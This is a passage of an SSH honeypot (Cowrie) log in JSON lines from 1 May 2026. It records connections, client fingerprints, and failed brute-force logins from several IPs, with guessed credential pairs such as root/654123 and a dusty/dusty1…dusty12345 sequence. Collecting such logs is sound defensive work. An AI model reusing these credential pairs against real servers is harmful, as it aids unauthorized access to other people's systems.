{"eventid":"cowrie.login.failed","username":"appfile2","password":"appfile2","message":"login attempt [appfile2/appfile2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:16.335362Z","src_ip":"159.203.92.129","session":"9eb20786ea35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:16.565123Z","src_ip":"182.253.79.194","session":"56952569c63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:17.343488Z","src_ip":"159.203.92.129","session":"9eb20786ea35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:42.690759Z","src_ip":"122.168.114.167","session":"d2fa7bf461e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51490,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb1acbd15545","protocol":"ssh","message":"New connection: 122.168.114.167:51490 (159.203.135.109:22) [session: eb1acbd15545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:47.588097Z"}
{"eventid":"cowrie.session.closed","duration":"41.2","message":"Connection lost after 41.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:50.078614Z","src_ip":"122.168.114.167","session":"d2fa7bf461e6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:53.799602Z","src_ip":"122.168.114.167","session":"eb1acbd15545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:53.847827Z","src_ip":"122.168.114.167","session":"eb1acbd15545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33296,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b99c8e32e6","protocol":"ssh","message":"New connection: 159.203.92.129:33296 (159.203.135.109:22) [session: d1b99c8e32e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:01.986843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:02.193066Z","src_ip":"159.203.92.129","session":"d1b99c8e32e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:02.197820Z","src_ip":"159.203.92.129","session":"d1b99c8e32e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appfile","password":"123456","message":"login attempt [appfile/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:03.080560Z","src_ip":"159.203.92.129","session":"d1b99c8e32e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:04.324105Z","src_ip":"159.203.92.129","session":"d1b99c8e32e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":5755,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d117fddcce2","protocol":"ssh","message":"New connection: 182.253.79.194:5755 (10.17.0.5:22) [session: 4d117fddcce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:16.357848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:16.362485Z","src_ip":"182.253.79.194","session":"4d117fddcce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:16.625497Z","src_ip":"182.253.79.194","session":"4d117fddcce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654123","message":"login attempt [root/654123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:17.712641Z","src_ip":"182.253.79.194","session":"4d117fddcce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:18.978902Z","src_ip":"182.253.79.194","session":"4d117fddcce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:23.394395Z","src_ip":"122.168.114.167","session":"eb1acbd15545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53890,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be428eea003","protocol":"ssh","message":"New connection: 122.168.114.167:53890 (159.203.135.109:22) [session: 4be428eea003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:26.246378Z"}
{"eventid":"cowrie.session.closed","duration":"44.9","message":"Connection lost after 44.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:32.463391Z","src_ip":"122.168.114.167","session":"eb1acbd15545","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:34.078698Z","src_ip":"122.168.114.167","session":"4be428eea003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:34.082677Z","src_ip":"122.168.114.167","session":"4be428eea003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":45612,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d17f86f193d","protocol":"ssh","message":"New connection: 213.209.159.159:45612 (159.203.135.109:22) [session: 4d17f86f193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:46.628312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:46.634248Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:46.715677Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty","message":"login attempt [dusty/dusty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:47.114645Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45122,"dst_ip":"159.203.135.109","dst_port":22,"session":"80a49905f879","protocol":"ssh","message":"New connection: 159.203.92.129:45122 (159.203.135.109:22) [session: 80a49905f879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:47.625109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:47.629497Z","src_ip":"159.203.92.129","session":"80a49905f879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:47.634434Z","src_ip":"159.203.92.129","session":"80a49905f879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appfile","password":"appfile","message":"login attempt [appfile/appfile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:47.644587Z","src_ip":"159.203.92.129","session":"80a49905f879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty1","message":"login attempt [dusty/dusty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:48.197934Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:48.653465Z","src_ip":"159.203.92.129","session":"80a49905f879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty123","message":"login attempt [dusty/dusty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:49.281930Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty1234","message":"login attempt [dusty/dusty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:50.366156Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty12345","message":"login attempt [dusty/dusty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:51.450375Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:52.535079Z","src_ip":"213.209.159.159","session":"4d17f86f193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:09:59.127101Z","src_ip":"122.168.114.167","session":"4be428eea003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.1","message":"Connection lost after 39.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:05.323565Z","src_ip":"122.168.114.167","session":"4be428eea003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d7572d5a55","protocol":"ssh","message":"New connection: 122.168.114.167:56306 (159.203.135.109:22) [session: 72d7572d5a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:09.859170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:14.511540Z","src_ip":"122.168.114.167","session":"72d7572d5a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:14.517968Z","src_ip":"122.168.114.167","session":"72d7572d5a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":21650,"dst_ip":"10.17.0.5","dst_port":22,"session":"19ce00238b13","protocol":"ssh","message":"New connection: 182.253.79.194:21650 (10.17.0.5:22) [session: 19ce00238b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:16.798581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:16.804430Z","src_ip":"182.253.79.194","session":"19ce00238b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-